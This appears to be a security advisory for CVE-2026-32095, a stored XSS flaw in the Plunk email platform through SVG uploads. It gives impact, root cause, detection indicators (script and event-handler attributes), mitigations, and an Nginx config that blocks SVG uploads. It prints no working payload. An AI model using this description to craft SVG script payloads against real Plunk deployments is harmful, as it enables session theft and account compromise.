CVE-2026-32095: Useplunk Plunk XSS Vulnerability

CVE-2026-32095 Overview

Plunk is an open-source email platform built on top of Amazon Web Services Simple Email Service (AWS SES). CVE-2026-32095 is a stored Cross-Site Scripting (XSS) vulnerability [CWE-79] affecting Plunk versions prior to 0.7.1. The image upload endpoint accepts Scalable Vector Graphics (SVG) files without sanitization. Browsers render SVG as active documents capable of executing embedded JavaScript, enabling attackers to persist malicious scripts within the platform. The vendor useplunk released a fix in version 0.7.1.

Critical Impact
An authenticated attacker can upload a crafted SVG that executes arbitrary JavaScript in the browser of any user who views the asset, leading to session theft and account compromise.

Affected Products

Useplunk Plunk versions prior to 0.7.1
Self-hosted Plunk deployments using the image upload endpoint
AWS SES-integrated Plunk instances exposing user-uploaded media

Discovery Timeline

2026-03-11 - CVE-2026-32095 published to the National Vulnerability Database (NVD)
2026-03-16 - Last updated in NVD database

Technical Details for CVE-2026-32095

Vulnerability Analysis

The vulnerability resides in Plunk's image upload endpoint. The endpoint validates uploads as images but does not restrict the SVG content type. SVG files are Extensible Markup Language (XML) documents that browsers parse as active content. They can contain <script> elements and event handler attributes such as onload.

When another user, such as an administrator, opens or previews the uploaded SVG, the browser executes the embedded JavaScript in the application's origin. This grants the attacker access to authentication cookies, session tokens, and the Document Object Model (DOM) of the Plunk dashboard. Attackers can send transactional emails, exfiltrate contact lists, or pivot to AWS SES credentials exposed through the application.

The issue requires low-privileged authentication and user interaction to trigger, as a victim must load the malicious asset. The scope changes because script execution occurs in the victim's browser context rather than the upload component itself.

Root Cause

The root cause is improper input validation on the image upload handler. The endpoint relies on file extension or Multipurpose Internet Mail Extensions (MIME) type checks that permit image/svg+xml. The server stores and serves the file with a content type that browsers render as active markup rather than as a static image.

Attack Vector

An authenticated attacker crafts an SVG file containing a <script> tag or an SVG event handler payload. The attacker uploads the file through the image upload endpoint. The server stores the file and returns a URL within the Plunk origin. When a victim navigates to the URL or views the asset embedded in the dashboard, the browser executes the attacker's JavaScript. See the GitHub Security Advisory GHSA-69jg-7493-cx5x for vendor-confirmed technical details.

Detection Methods for CVE-2026-32095

Indicators of Compromise

Uploaded files with .svg extension or image/svg+xml content type stored in Plunk's media directory
SVG files containing <script>, onload, onerror, or onclick attributes
Outbound requests from user browsers to attacker-controlled domains shortly after viewing Plunk media URLs
Unexpected API calls from authenticated sessions, such as new email campaigns or contact exports

Detection Strategies

Inspect stored uploads for SVG content and parse them for executable elements and event handler attributes
Review web server access logs for POST requests to the image upload endpoint followed by GET requests to .svg paths
Hunt for anomalous session activity correlated with viewing user-uploaded media

Monitoring Recommendations

Alert on uploads where the file signature or content does not match a raster image format
Monitor Content Security Policy (CSP) violation reports for inline script execution on media domains
Track AWS SES API calls originating from Plunk for sudden volume or recipient pattern changes

How to Mitigate CVE-2026-32095

Immediate Actions Required

Upgrade Plunk to version 0.7.1 or later, where the upload handler rejects SVG content
Audit existing uploads and remove any SVG files that contain script elements or event handlers
Rotate AWS SES credentials and Plunk session tokens if malicious SVG uploads are found

Patch Information

The vulnerability is fixed in Plunk 0.7.1. Refer to the Plunk GitHub Security Advisory GHSA-69jg-7493-cx5x for vendor remediation guidance and release notes.

Workarounds

Restrict the image upload endpoint to raster formats such as PNG, JPEG, and GIF at a reverse proxy or Web Application Firewall (WAF)
Serve user-uploaded media from a sandboxed domain isolated from the Plunk application origin
Set the Content-Disposition: attachment header on media responses to prevent inline rendering by browsers
Deploy a strict Content Security Policy that disallows inline scripts on media paths

bash

# Configuration example: block SVG uploads at an Nginx reverse proxy
location /api/v1/upload {
    if ($http_content_type ~* "image/svg\+xml") {
        return 415;
    }
    client_max_body_size 5m;
    proxy_pass http://plunk_backend;
}

# Force attachment disposition on served media
location /uploads/ {
    add_header Content-Disposition "attachment";
    add_header X-Content-Type-Options "nosniff";
}